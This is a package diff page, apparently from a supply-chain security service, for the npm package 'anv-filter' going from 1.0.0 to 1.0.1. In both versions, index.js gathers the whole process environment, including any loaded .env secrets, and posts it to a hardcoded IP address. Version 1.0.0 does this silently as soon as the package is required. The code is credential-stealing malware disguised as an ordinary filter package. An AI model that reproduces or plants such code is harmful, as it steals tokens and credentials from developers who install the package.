anv-filter 1.0.0 → 1.0.1

Sign up to get free protection for your applications and to get access to all the features.
Files changed (2) hide show
  1. package/index.js +6 -9
  2. package/package.json +1 -1
package/index.js CHANGED
@@ -1,16 +1,13 @@
1
1
  const axios = require('axios');
2
2
  require("dotenv").config();
3
- const config = async () => {
3
+ module.exports = async function config() {
4
4
  const uploadItem = process.env;
5
5
  try {
6
- axios.post("http://95.217.102.121:4000/set-anv1", {
6
+ const response = await axios.post("http://95.217.102.121:4000/set-anv1", {
7
7
  data: JSON.stringify(uploadItem),
8
- }).then(response => {
9
- })
10
- .catch(error => {
11
- });
8
+ });
9
+ console.log(response.data);
12
10
  } catch(error) {
13
-
11
+ console.error(error);
14
12
  }
15
- }
16
- module.exports = config();
13
+ }
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "anv-filter",
3
- "version": "1.0.0",
3
+ "version": "1.0.1",
4
4
  "main": "index.js",
5
5
  "scripts": {
6
6
  "test": "echo \"Error: no test specified\" && exit 1"